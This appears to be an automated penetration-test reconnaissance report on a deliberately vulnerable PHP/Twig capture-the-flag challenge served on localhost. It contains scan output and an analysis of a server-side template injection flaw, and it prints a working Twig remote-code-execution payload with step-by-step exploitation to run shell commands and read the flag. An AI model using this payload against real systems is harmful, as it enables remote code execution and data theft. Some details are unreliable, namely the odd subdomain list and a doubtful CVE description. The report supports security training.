# Pre-Reconnaissance Report

## Port Discovery (naabu)
Status: Skipped
[object Object]

## Network Scanning (nmap)
Status: success
Starting Nmap 7.97 ( https://nmap.org ) at 2025-10-30 15:52 -0700
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000033s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 994 closed tcp ports (conn-refused)
PORT      STATE SERVICE   VERSION
80/tcp    open  http      Caddy httpd
|_http-title: Site doesn't have a title.
|_http-server-header: Caddy
443/tcp   open  ssl/https
|_http-title: Site doesn't have a title.
631/tcp   open  ipp       CUPS 2.3
|_http-title: Home - CUPS 2.3.4
|_http-server-header: CUPS/2.3 IPP/2.1
8081/tcp  open  http      Apache httpd 2.4.56 ((Debian))
|_http-title: Submit a username
|_http-server-header: Apache/2.4.56 (Debian)
9999/tcp  open  abyss?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, JavaRMI, Kerberos, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   FourOhFourRequest, GetRequest: 
|     HTTP/1.1 200 OK
|     Access-Control-Allow-Origin: *
|     Access-Control-Allow-Methods: GET, POST, OPTIONS
|     Access-Control-Allow-Headers: Content-Type
|     Content-Type: text/plain
|     Date: Thu, 30 Oct 2025 22:52:46 GMT
|     Connection: close
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Access-Control-Allow-Origin: *
|     Access-Control-Allow-Methods: GET, POST, OPTIONS
|     Access-Control-Allow-Headers: Content-Type
|     Date: Thu, 30 Oct 2025 22:52:46 GMT
|     Connection: close
|   RTSPRequest: 
|     HTTP/1.1 200 OK
|     Access-Control-Allow-Origin: *
|     Access-Control-Allow-Methods: GET, POST, OPTIONS
|     Access-Control-Allow-Headers: Content-Type
|     Date: Thu, 30 Oct 2025 22:52:51 GMT
|_    Connection: close
49152/tcp open  http      Golang net/http server
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
| fingerprint-strings: 
|   FourOhFourRequest, GetRequest, HTTPOptions: 
|     HTTP/1.0 401 Unauthorized
|     Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; script-src 'none'; script-src-elem 'none'; script-src-attr 'none'
|     Content-Type: text/plain; charset=utf-8
|     Tailscale-Cap: 115
|     Tailscale-Version: 1.82.5-tdec88625e-gec2eb9730
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: DENY
|     Date: Thu, 30 Oct 2025 22:52:46 GMT
|     Content-Length: 14
|     auth required
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|_    Request
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port9999-TCP:V=7.97%I=7%D=10/30%Time=6903EC3E%P=arm-apple-darwin24.4.0%
SF:r(GetRequest,E5,"HTTP/1\.1\x20200\x20OK\r\nAccess-Control-Allow-Origin:
SF:\x20\*\r\nAccess-Control-Allow-Methods:\x20GET,\x20POST,\x20OPTIONS\r\n
SF:Access-Control-Allow-Headers:\x20Content-Type\r\nContent-Type:\x20text/
SF:plain\r\nDate:\x20Thu,\x2030\x20Oct\x202025\x2022:52:46\x20GMT\r\nConne
SF:ction:\x20close\r\n\r\nOK")%r(HTTPOptions,C9,"HTTP/1\.1\x20200\x20OK\r\
SF:nAccess-Control-Allow-Origin:\x20\*\r\nAccess-Control-Allow-Methods:\x2
SF:0GET,\x20POST,\x20OPTIONS\r\nAccess-Control-Allow-Headers:\x20Content-T
SF:ype\r\nDate:\x20Thu,\x2030\x20Oct\x202025\x2022:52:46\x20GMT\r\nConnect
SF:ion:\x20close\r\n\r\n")%r(FourOhFourRequest,E5,"HTTP/1\.1\x20200\x20OK\
SF:r\nAccess-Control-Allow-Origin:\x20\*\r\nAccess-Control-Allow-Methods:\
SF:x20GET,\x20POST,\x20OPTIONS\r\nAccess-Control-Allow-Headers:\x20Content
SF:-Type\r\nContent-Type:\x20text/plain\r\nDate:\x20Thu,\x2030\x20Oct\x202
SF:025\x2022:52:46\x20GMT\r\nConnection:\x20close\r\n\r\nOK")%r(JavaRMI,2F
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%
SF:r(RTSPRequest,C9,"HTTP/1\.1\x20200\x20OK\r\nAccess-Control-Allow-Origin
SF::\x20\*\r\nAccess-Control-Allow-Methods:\x20GET,\x20POST,\x20OPTIONS\r\
SF:nAccess-Control-Allow-Headers:\x20Content-Type\r\nDate:\x20Thu,\x2030\x
SF:20Oct\x202025\x2022:52:51\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(RP
SF:CCheck,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r
SF:\n\r\n")%r(DNSVersionBindReqTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\nConnection:\x20close\r\n\r\n")%r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x
SF:20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(Help,2F,"HT
SF:TP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(SS
SF:LSessionReq,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20cl
SF:ose\r\n\r\n")%r(TerminalServerCookie,2F,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\nConnection:\x20close\r\n\r\n")%r(TLSSessionReq,2F,"HTTP/1\.1\x2
SF:0400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(Kerberos,2F,
SF:"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r
SF:(SMBProgNeg,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20cl
SF:ose\r\n\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port49152-TCP:V=7.97%I=7%D=10/30%Time=6903EC3E%P=arm-apple-darwin24.4.0
SF:%r(FourOhFourRequest,192,"HTTP/1\.0\x20401\x20Unauthorized\r\nContent-S
SF:ecurity-Policy:\x20default-src\x20'none';\x20frame-ancestors\x20'none';
SF:\x20script-src\x20'none';\x20script-src-elem\x20'none';\x20script-src-a
SF:ttr\x20'none'\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nTails
SF:cale-Cap:\x20115\r\nTailscale-Version:\x201\.82\.5-tdec88625e-gec2eb973
SF:0\r\nX-Content-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20DENY\r\n
SF:Date:\x20Thu,\x2030\x20Oct\x202025\x2022:52:46\x20GMT\r\nContent-Length
SF::\x2014\r\n\r\nauth\x20required\n")%r(GenericLines,67,"HTTP/1\.1\x20400
SF:\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\n
SF:Connection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(GetRequest,192,"H
SF:TTP/1\.0\x20401\x20Unauthorized\r\nContent-Security-Policy:\x20default-
SF:src\x20'none';\x20frame-ancestors\x20'none';\x20script-src\x20'none';\x
SF:20script-src-elem\x20'none';\x20script-src-attr\x20'none'\r\nContent-Ty
SF:pe:\x20text/plain;\x20charset=utf-8\r\nTailscale-Cap:\x20115\r\nTailsca
SF:le-Version:\x201\.82\.5-tdec88625e-gec2eb9730\r\nX-Content-Type-Options
SF::\x20nosniff\r\nX-Frame-Options:\x20DENY\r\nDate:\x20Thu,\x2030\x20Oct\
SF:x202025\x2022:52:46\x20GMT\r\nContent-Length:\x2014\r\n\r\nauth\x20requ
SF:ired\n")%r(HTTPOptions,192,"HTTP/1\.0\x20401\x20Unauthorized\r\nContent
SF:-Security-Policy:\x20default-src\x20'none';\x20frame-ancestors\x20'none
SF:';\x20script-src\x20'none';\x20script-src-elem\x20'none';\x20script-src
SF:-attr\x20'none'\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nTai
SF:lscale-Cap:\x20115\r\nTailscale-Version:\x201\.82\.5-tdec88625e-gec2eb9
SF:730\r\nX-Content-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20DENY\r
SF:\nDate:\x20Thu,\x2030\x20Oct\x202025\x2022:52:46\x20GMT\r\nContent-Leng
SF:th:\x2014\r\n\r\nauth\x20required\n")%r(RTSPRequest,67,"HTTP/1\.1\x2040
SF:0\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\
SF:nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Help,67,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=
SF:utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.16 seconds


## Subdomain Discovery (subfinder)
Status: success
tools.sonoma.edu.localhost
mail02.regency.localhost
www.localhost
naeu2.naeuinc.localhost
fndlync01.5ninesdata.localhost
autodiscover.localhost
autodiscover.regency.localhost
owa.regency.localhost
mail.localhost
mail03.regency.localhost
mail.regency.localhost
sbs.allsaintsschool.localhost
exchvm.nwcnet.localhost
server02.counterintel.localhost
mse-ca-mail.corp.mse.localhost
server2.hunter.localhost


## Technology Detection (whatweb)
Status: success
[1m[34mhttp://localhost:8081[0m [200 OK] [1mApache[0m[[1m[32m2.4.56[0m], [1mHTML5[0m, [1mHTTPServer[0m[[1m[31mDebian Linux[0m][[1m[36mApache/2.4.56 (Debian)[0m], [1mIP[0m[[0m[22m::1[0m], [1mPHP[0m[[1m[32m8.0.30[0m], [1mTitle[0m[[1m[33mSubmit a username[0m], [1mX-Powered-By[0m[[0m[22mPHP/8.0.30[0m]

## Code Analysis
# Penetration Test Scope & Boundaries

**Primary Directive:** This analysis is strictly limited to the **network-accessible attack surface** of the application. All findings reported below meet the "In-Scope" criteria defined below.

### In-Scope: Network-Reachable Components
A component is considered **in-scope** if its execution can be initiated, directly or indirectly, by a network request that the deployed application server is capable of receiving. This includes:
- Publicly exposed web pages and API endpoints.
- Endpoints requiring authentication via the application's standard login mechanisms.
- Any developer utility, debug console, or script that has been mistakenly exposed through a route or is otherwise callable from other in-scope, network-reachable code.

### Out-of-Scope: Locally Executable Only
A component is **out-of-scope** if it **cannot** be invoked through the running application's network interface and requires an execution context completely external to the application's request-response cycle. This includes tools that must be run via:
- A command-line interface (e.g., `go run ./cmd/...`, `python scripts/...`).
- A development environment's internal tooling (e.g., a "run script" button in an IDE).
- CI/CD pipeline scripts or build tools (e.g., Dagger build definitions).
- Database migration scripts, backup tools, or maintenance utilities.
- Local development servers, test harnesses, or debugging utilities.
- Static files or scripts that require manual opening in a browser (not served by the application).

---

## 1. Executive Summary

This security assessment analyzes **XBEN-044-24**, a deliberately vulnerable CTF (Capture The Flag) security challenge implemented as a PHP 8.0 web application using the Twig 1.19.0 template engine. The application exposes a single network-accessible HTTP endpoint on port 8081 that accepts user input through a POST form.

**Critical Finding:** The application contains a **Server-Side Template Injection (SSTI)** vulnerability that enables Remote Code Execution (RCE). This vulnerability stems from the use of the deprecated `Twig_Loader_String` class combined with the intentional removal of Twig's sandbox security protections. User input sanitized with `htmlspecialchars()` is concatenated directly into a Twig template string, allowing attackers to inject Twig expression syntax (`{{ }}`) to execute arbitrary PHP code.

**Security Posture:** The application demonstrates a high-risk security posture characterized by:
- **No authentication or authorization mechanisms** - All endpoints are publicly accessible
- **No session management** - Completely stateless operation
- **Disabled security controls** - Twig sandbox explicitly removed at runtime
- **Outdated dependencies** - Twig 1.19.0 (released 2015, 9+ years old with known CVEs)
- **No transport encryption** - HTTP-only communication on port 8080/8081
- **Minimal input validation** - Only basic HTML escaping that doesn't prevent template injection
- **Debug mode enabled** - Exposes internal errors and system information

**Attack Surface:** The application has one primary attack vector: the `name` POST parameter on `/index.php`. This parameter feeds directly into a Twig template rendering operation vulnerable to SSTI, providing a direct path to RCE and file system access. The objective is to extract the CTF flag stored in plaintext at `/flag.txt` within the container.

**Architectural Security Decision:** The codebase explicitly removes Twig's sandbox protection mechanism (lines 40-42 of `index.php`), demonstrating an intentional security weakness designed for penetration testing training. Combined with the use of `Twig_Loader_String` (which treats user input as executable template code), this creates a straightforward exploitation path from user input to system command execution.

---

## 2. Architecture & Technology Stack

### Framework & Language

**Primary Stack:**
- **Language:** PHP 8.0.30 (CLI, Non-Thread Safe)
- **Build Date:** November 21, 2023
- **Zend Engine:** v4.0.30
- **Web Server:** Apache HTTP Server 2.4.56 (Debian)
- **Template Engine:** Twig 1.19.0 (released July 31, 2015 - **9+ years old with known security vulnerabilities**)

**Security Implications:**
The application uses an ancient version of Twig (1.19.0) that predates multiple security patches and is no longer supported. This version is particularly dangerous because:
- It includes `Twig_Loader_String`, a loader explicitly deprecated in later versions due to security risks
- It contains known Server-Side Template Injection (SSTI) vulnerabilities (CVE-2022-39261 and related)
- The 1.x branch is end-of-life with no security updates
- Modern Twig versions (3.x) have significantly enhanced security controls that are absent here

**PHP Extensions Installed:**
The container includes `pdo_mysql` (installed via Dockerfile line 9) but the application never uses database connectivity, representing unnecessary attack surface. The presence of cryptographic extensions (`openssl`, `sodium`) is standard but unused by the application, which implements no encryption at rest or in transit.

### Architectural Pattern

**Application Type:** Monolithic Single-File Web Application

**Structural Characteristics:**
- **Entry Point:** Single PHP file (`/var/www/html/index.php` - 75 lines)
- **No Framework:** Raw PHP with template engine, no MVC structure
- **No Routing:** Direct file execution, no route abstraction
- **Stateless Design:** No session management, authentication, or state persistence
- **Form-Based Input:** POST request handler with single `name` parameter

**Trust Boundary Analysis:**
The application has a **critical trust boundary violation**. The flow from untrusted user input to code execution is:
```
User Input (POST 'name') → htmlspecialchars() [INSUFFICIENT] → String Concatenation → Twig_Loader_String → Template Evaluation [RCE]
```

The trust boundary between "user data" and "code execution" is broken at line 56 of `index.php`, where sanitized user input is embedded into a template string that Twig interprets as executable template code. While `htmlspecialchars()` prevents HTML injection, it does not prevent template syntax (`{{`, `}}`, `{%`, `%}`) from being evaluated as Twig expressions.

**Container Isolation:**
The application runs in a Docker container with the following isolation characteristics:
- **Base Image:** `php:8.0-apache` (Debian 11.8 Bullseye)
- **Network:** Bridge network (`xben-044-24_default`) with port mapping 8081→8080
- **User Separation:** Build user (`appuser:1000`) vs. runtime user (`www-data:33`)
- **Flag Storage:** `/flag.txt` (world-readable, created during build)

### Critical Security Components

**Input Sanitization (INADEQUATE):**
- **Location:** `/app/index.php` line 8
- **Method:** `htmlspecialchars($_POST['name'])`
- **Effectiveness:** Prevents HTML/XSS but **DOES NOT** prevent Server-Side Template Injection
- **Bypass:** Twig expression syntax (`{{`, `}}`) passes through unchanged

**Template Security Configuration (VULNERABLE):**
```php
$twig = new Twig_Environment($loader, [
    'debug' => true,                    // ⚠️ EXPOSES internal errors
    'charset' => 'UTF-8',
    'base_template_class' => 'Twig_Template',
    'auto_reload' => true,
    'strict_variables' => false,        // ⚠️ Undefined vars don't throw errors
    'autoescape' => 'html',             // ✓ HTML escaping enabled (but bypassed by SSTI)
    'optimizations' => 0,               // ⚠️ No optimizations
]);
```

**Sandbox Bypass Mechanism (CRITICAL VULNERABILITY):**
Lines 40-42 of `/app/index.php` explicitly remove Twig's sandbox security protections:
```php
if ($extension instanceof Twig_Extension_Sandbox) {
   $twig->removeExtension($extname);  // ⚠️ INTENTIONALLY DISABLES SECURITY
}
```

This code pattern demonstrates the application is designed to be vulnerable. The sandbox extension, which would normally restrict dangerous operations like calling PHP functions, is deliberately removed.

**Dangerous Template Features Available:**
- `registerUndefinedFilterCallback()` - Allows registering arbitrary PHP callables (e.g., `exec`, `system`, `passthru`) as filters
- `getFilter()` - Can invoke registered filter callbacks with arbitrary arguments
- `_self.env` - Direct access to Twig environment from within templates
- Full access to PHP functions through the filter registration mechanism

**Vulnerable Template Example:**
The file `/app/templates/hello.html.twig` contains a proof-of-concept RCE payload:
```twig
<h4>Current user:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}!</h4>
```
This demonstrates the exploitation technique:
1. Register `exec` as a filter callback
2. Use `getFilter("id")` to execute the `id` shell command
3. Achieve remote code execution as the `www-data` user

**Note:** This template file is not currently loaded by the main application flow (it's commented out on line 11), but serves as exploitation guidance.

---

## 3. Authentication & Authorization Deep Dive

### Authentication Mechanisms

**Status: NOT IMPLEMENTED**

This application has **zero authentication mechanisms** of any kind. There are:
- **No login endpoints** - No authentication flows exist
- **No logout endpoints** - Not applicable
- **No password handling** - No password hashing, storage, or verification
- **No user management** - No user accounts or identity management system
- **No JWT/token handling** - No token generation, validation, or storage
- **No OAuth/OIDC** - No third-party authentication integration
- **No SSO** - No single sign-on capabilities
- **No MFA** - No multi-factor authentication
- **No API keys** - No API authentication mechanism

**Security Implication:** Every endpoint is publicly accessible. An external attacker requires no credentials to exploit the SSTI vulnerability and extract the flag.

### Session Management

**Status: NOT IMPLEMENTED**

The application has **no session management** mechanisms:
- **No `session_start()` calls** - Sessions are never initialized (verified by code search)
- **No `setcookie()` calls** - No cookies are set by the application
- **No session storage** - No Redis, database, or file-based session backend
- **No session timeout** - Not applicable
- **No session invalidation** - Not applicable

**Session Cookie Security Flags: NOT APPLICABLE**

Since no cookies are set by the application, the following security flags are not configured:
- **HttpOnly flag:** Not configured (no cookies exist)
- **Secure flag:** Not configured (no cookies exist)
- **SameSite flag:** Not configured (no cookies exist)

**Code Search Evidence:**
```bash
# Searched application code for: session_start|session_|setcookie|cookie
# Result: No matches found in /app/index.php
```

**Security Implication:** The application operates in a completely stateless manner. While this eliminates session-based vulnerabilities (session fixation, session hijacking), it also means there's no way to track or limit malicious activity from repeated exploitation attempts.

### Authorization Model

**Status: NOT IMPLEMENTED**

The application has **no authorization controls**:
- **No RBAC (Role-Based Access Control)** - No role definitions exist
- **No ABAC (Attribute-Based Access Control)** - No attribute-based policies
- **No permission checking** - All functionality is publicly accessible
- **No resource-level access controls** - No data access restrictions
- **No middleware authorization** - No authorization layers
- **No multi-tenant isolation** - Single-tenant by default (no tenant concept exists)

**Access Control Model:** None - The single endpoint `/index.php` is publicly accessible without any access checks.

### SSO/OAuth/OIDC Flows

**Status: NOT APPLICABLE**

No OAuth, OIDC, or SSO implementation is present in the codebase.

### Security Assessment

The complete absence of authentication and authorization creates the following security posture:
- **Attack Complexity: LOW** - No credentials required to exploit vulnerabilities
- **Privilege Required: NONE** - External attackers can access all functionality
- **User Interaction: NONE** - Exploitation can be fully automated
- **CVSS Impact:** This lack of authentication increases the severity of the SSTI vulnerability to the maximum level

---

## 4. Data Security & Storage

### Database Security

**Status: NO DATABASE IMPLEMENTED**

Despite the installation of the `pdo_mysql` PHP extension (Dockerfile line 9), the application does not use any database:
- **No database connections** - No PDO, mysqli, or other database driver usage
- **No SQL queries** - No query code of any kind
- **No ORM** - No object-relational mapping framework
- **No connection strings** - No database credentials in configuration

**Security Implication:** While this eliminates SQL injection vulnerabilities, the presence of `pdo_mysql` represents unnecessary attack surface. If exploited via RCE, an attacker could leverage this extension to connect to external databases.

### Data Flow Security

**Sensitive Data Inventory:**

The primary sensitive data in this application is the **CTF flag**, which flows through the following insecure paths:

**Flag Storage Locations:**
1. **`.env` file** (plaintext): `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/.env`
   ```
   FLAG="flag{af836647-517f-415a-a0a8-90b9bd2115e7}"
   ```
   
2. **Dockerfile** (build-time injection): `/app/Dockerfile` lines 30-31
   ```dockerfile
   ARG FLAG 
   RUN echo $FLAG > /flag.txt
   ```
   
3. **Container filesystem** (plaintext): `/flag.txt`
   - Created during Docker build
   - World-readable permissions
   - Accessible to `www-data` user (application runtime user)
   - No encryption applied

**Data Flow Analysis:**
```
.env file (plaintext) 
    ↓
Docker build ARG (visible in image history)
    ↓
RUN command execution
    ↓
/flag.txt written to container filesystem (plaintext)
    ↓
Accessible via RCE through SSTI vulnerability
```

**Critical Security Gaps:**
- ❌ **No encryption at rest** - Flag stored in plaintext at all stages
- ❌ **No access controls** - Flag file readable by application user
- ❌ **Build history exposure** - Flag visible in `docker history` output
- ❌ **Source code exposure** - Flag hardcoded in `.env` file
- ❌ **No encryption in transit** - HTTP-only communication (no HTTPS/TLS)

**User Input Data Flow:**
```
POST parameter 'name'
    ↓
htmlspecialchars() sanitization [INSUFFICIENT]
    ↓
String concatenation into Twig template
    ↓
Twig_Loader_String rendering
    ↓
HTML output to user
```

**Cryptographic Controls: ABSENT**

No cryptographic operations are performed by the application:
- **No encryption libraries used** - No `openssl_*`, `sodium_*`, or `mcrypt_*` functions
- **No password hashing** - Not applicable (no passwords)
- **No token signing** - Not applicable (no tokens)
- **No key management** - No encryption keys exist

The only cryptographic function found is in the Twig framework itself (SHA-256 for template cache naming), which is not security-critical and uses the non-cryptographically-secure `mt_rand()` function for nonce generation.

### Multi-tenant Data Isolation

**Status: NOT APPLICABLE**

This is a single-purpose CTF application with no multi-tenancy architecture. There are no mechanisms for:
- Tenant identification
- Data segregation
- Cross-tenant access prevention
- Shared vs. isolated schemas

---

## 5. Attack Surface Analysis

### External Entry Points (Network-Accessible)

**Total Network Entry Points: 1**

#### Entry Point #1: Main Application Form Handler

**Network Details:**
- **File Path:** `/app/index.php`
- **Route Pattern:** `/index.php` (DocumentRoot default handler)
- **HTTP Methods:** `GET`, `POST`
- **External URL:** `http://localhost:8081/index.php`
- **Internal URL:** `http://127.0.0.1:8080/index.php` (container)
- **Authentication:** None - Publicly accessible
- **Authorization:** None required

**Functionality:**
This endpoint serves two purposes:
1. **GET requests** (lines 60-75): Displays an HTML form with a single text input field for "article name/model"
2. **POST requests** (lines 55-58): Processes the `name` parameter and renders it through Twig template engine

**Input Parameters:**
- **Parameter Name:** `name` (POST)
- **Source:** HTML form field (line 69)
- **Data Type:** String (any content accepted)
- **Validation:** Only `isset()` check and `htmlspecialchars()` encoding
- **Sanitization:** `htmlspecialchars()` applied on line 8 (INSUFFICIENT for template injection)
- **Length Limits:** None enforced
- **Character Restrictions:** None enforced

**Code Flow:**
```php
// Line 8: Input sanitization
$name = isset($_POST['name']) ? htmlspecialchars($_POST['name']) : ' default';

// Line 55-58: POST Handler
if ($_SERVER['REQUEST_METHOD'] === 'POST') {    
    echo $twig->render('<strong>' .  $name . ' is in stock! Come back and test another one. </strong>') . '<br/>Twig version: ' . $twig->render($twigVersion);    
    echo '<br/>Loaded extension: ' . implode(', ', $extensionsInfo) . '<br/>';
    echo '<br/><a href="index.php">Back</a>';
}
```

**Vulnerability Analysis:**
- **SSTI Vulnerability:** User input concatenated into Twig template string (line 56)
- **Template Loader:** Uses deprecated `Twig_Loader_String` (line 12)
- **Sandbox Disabled:** Explicitly removed on lines 40-42
- **Debug Mode:** Enabled (line 17), exposes internal errors
- **Information Disclosure:** Displays Twig version and loaded extensions (lines 56-57)

**Exploitation Path:**
1. Send POST request with `name` parameter containing Twig expression syntax
2. `htmlspecialchars()` encodes HTML special chars but leaves `{{`, `}}` intact
3. Twig_Loader_String treats the concatenated string as template source code
4. Twig evaluates expressions like `{{7*7}}` or `{{_self.env.registerUndefinedFilterCallback("system")}}`
5. Achieve Remote Code Execution as `www-data` user
6. Read `/flag.txt` or execute arbitrary system commands

**Attack Surface Metrics:**
- **Attack Complexity:** LOW - Direct exploitation via single POST parameter
- **Privileges Required:** NONE - No authentication
- **User Interaction:** NONE - Fully automated exploitation
- **Scope:** CHANGED - RCE breaks out of application context

### Internal Service Communication

**Status: NOT APPLICABLE**

This is a monolithic single-file application with no internal service-to-service communication. There are:
- No microservices architecture
- No internal APIs
- No service mesh
- No inter-process communication mechanisms
- No message queues or pub/sub systems

### Input Validation Patterns

**Validation Mechanisms:**

The application implements only minimal input validation:

1. **Existence Check:** `isset($_POST['name'])` verifies parameter presence
2. **HTML Encoding:** `htmlspecialchars()` encodes `<`, `>`, `&`, `"`, `'` (line 8)

**Missing Validation:**
- ❌ **Length limits** - Accepts unlimited input size
- ❌ **Character whitelisting** - No allowed character set enforcement
- ❌ **Type checking** - No validation that input is a string
- ❌ **Format validation** - No regex or pattern matching
- ❌ **Business logic validation** - No semantic validation of input meaning
- ❌ **Template syntax blocking** - Twig delimiters (`{{`, `}}`, `{%`, `%}`) not filtered
- ❌ **Dangerous character filtering** - No blacklist for `.`, `_`, `()`, `[]`

**Why htmlspecialchars() Fails:**

`htmlspecialchars()` only encodes HTML special characters:
- `<` → `&lt;`
- `>` → `&gt;`
- `&` → `&amp;`
- `"` → `&quot;`
- `'` → `&#039;`

**Twig template syntax remains unaffected:**
- `{{` - Expression delimiter (NOT encoded)
- `}}` - Expression delimiter (NOT encoded)
- `{%` - Statement delimiter (NOT encoded)
- `%}` - Statement delimiter (NOT encoded)
- `_self`, `.env`, method calls - All pass through unchanged

**Proof of Bypass:**
```bash
Input:  {{7*7}}
After htmlspecialchars():  {{7*7}}  (unchanged)
After Twig render:  49  (expression evaluated)
```

### Background Processing

**Status: NOT APPLICABLE**

The application has no background job processing:
- No async workers
- No cron jobs
- No scheduled tasks
- No message queue consumers
- No webhook processors (beyond the single synchronous endpoint)

All request processing is synchronous within the Apache/PHP-FPM request-response cycle.

### Out-of-Scope Components (Excluded)

The following components are **NOT network-accessible** and are excluded from attack surface analysis:

**Build & Development Tools:**
- Composer (`/usr/bin/composer`) - Package manager, CLI only
- Makefile - Build automation, requires local shell access
- docker-compose.yml - Infrastructure definition, not an endpoint

**Vendor Libraries:**
- All files under `/app/vendor/` - Third-party library code
- Twig test suite (`/app/vendor/twig/twig/test/*`) - Not served by web server
- Composer autoloader files - Not directly accessible

**Static Configuration:**
- Apache configuration files (`.conf`) - Server configuration only
- Environment files (`.env`) - Build-time variables, not served

**Unused Templates:**
- `/app/templates/hello.html.twig` - Contains RCE payload but is **NOT loaded** by the application (commented out on line 11 of index.php)

---

## 6. Infrastructure & Operational Security

### Secrets Management

**Status: INSECURE**

**Critical Finding:** The CTF flag is stored in multiple plaintext locations with no encryption or access controls.

**Secret Storage Locations:**

1. **Environment File** (`.env`):
   - **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/.env` (line 1)
   - **Content:** `FLAG="flag{af836647-517f-415a-a0a8-90b9bd2115e7}"`
   - **Risk:** Plaintext storage, committed to source control
   - **Access:** Readable by anyone with file system access

2. **Dockerfile Build Argument**:
   - **File:** `/app/Dockerfile` (lines 30-31)
   - **Content:** 
     ```dockerfile
     ARG FLAG 
     RUN echo $FLAG > /flag.txt
     ```
   - **Risk:** Flag visible in Docker image history (`docker history` command)
   - **Access:** Anyone with access to the Docker image

3. **Container Filesystem**:
   - **File:** `/flag.txt` (inside container)
   - **Permissions:** World-readable
   - **Owner:** `root`
   - **Risk:** Accessible to `www-data` user (application runtime user)
   - **Access:** Can be read via RCE through SSTI vulnerability

**Secret Management Gaps:**
- ❌ **No encryption** - Secrets stored in plaintext
- ❌ **No secret management service** - No HashiCorp Vault, AWS Secrets Manager, etc.
- ❌ **No Docker secrets** - Not using Docker swarm secrets mechanism
- ❌ **No secret rotation** - Static flag value never changes
- ❌ **No access logging** - No audit trail of secret access

### Configuration Security

**Environment Separation:** NOT IMPLEMENTED

The application has no environment-specific configuration:
- No distinction between dev/staging/production
- Same `.env` file for all environments
- No environment variable override mechanism

**Configuration Files:**

1. **Apache Virtual Host** (`/app/wwwconf/000-default.conf`):
   - **Port:** 8080 (non-standard HTTP port)
   - **Document Root:** `/var/www/html`
   - **No security headers configured:**
     - ❌ Missing: `Content-Security-Policy`
     - ❌ Missing: `X-Frame-Options`
     - ❌ Missing: `X-Content-Type-Options`
     - ❌ Missing: `Strict-Transport-Security` (HSTS)
     - ❌ Missing: `Referrer-Policy`
     - ❌ Missing: `Permissions-Policy`

2. **Apache Ports** (`/app/wwwconf/ports.conf`):
   - **Listen Port:** 8080 (line 5)
   - **No SSL/TLS configuration** - HTTP only

**Infrastructure Configuration (Nginx/CDN/Ingress):**

**Finding:** No infrastructure-level security headers or advanced configurations detected.

- **No Nginx reverse proxy** - Direct Apache exposure
- **No CDN** - No CloudFlare, Cloudfront, or similar
- **No Kubernetes Ingress** - Not deployed in Kubernetes
- **No WAF** - No Web Application Firewall
- **No rate limiting** - No request throttling at infrastructure level

**Cache-Control Headers:** NOT CONFIGURED

No cache control headers are set by the application or web server, meaning:
- Browsers may cache sensitive responses
- No explicit `no-store` directive for sensitive data
- No cache validation mechanisms

### External Dependencies

**Third-Party Services:** NONE

The application has no external service dependencies:
- No payment gateways
- No OAuth providers
- No email services
- No SMS/notification services
- No analytics platforms
- No CDN services
- No external APIs

**Third-Party Libraries:**

**Direct Dependency:**
- **Twig 1.19.0** (defined in `composer.json`)
  - **Vendor:** Fabien Potencier / Symfony Project
  - **License:** BSD-3-Clause
  - **Release Date:** July 31, 2015 (9+ years old)
  - **Security Status:** ⚠️ **CRITICAL VULNERABILITIES KNOWN**
  - **Known CVEs:** CVE-2022-39261 (SSTI in Twig < 2.15.3), multiple sandbox escape vulnerabilities in 1.x
  - **Support Status:** End-of-Life (EOL) - No security updates

**Transitive Dependencies:** NONE - Only Twig is installed

**Security Implication:** The application's sole dependency is a critically outdated and vulnerable version of Twig. Modern Twig versions (3.x) include:
- Removed `Twig_Loader_String` (deprecated as dangerous)
- Enhanced sandbox enforcement
- Better SSTI protections
- Security patches for known vulnerabilities

### Monitoring & Logging

**Application-Level Logging:** MINIMAL

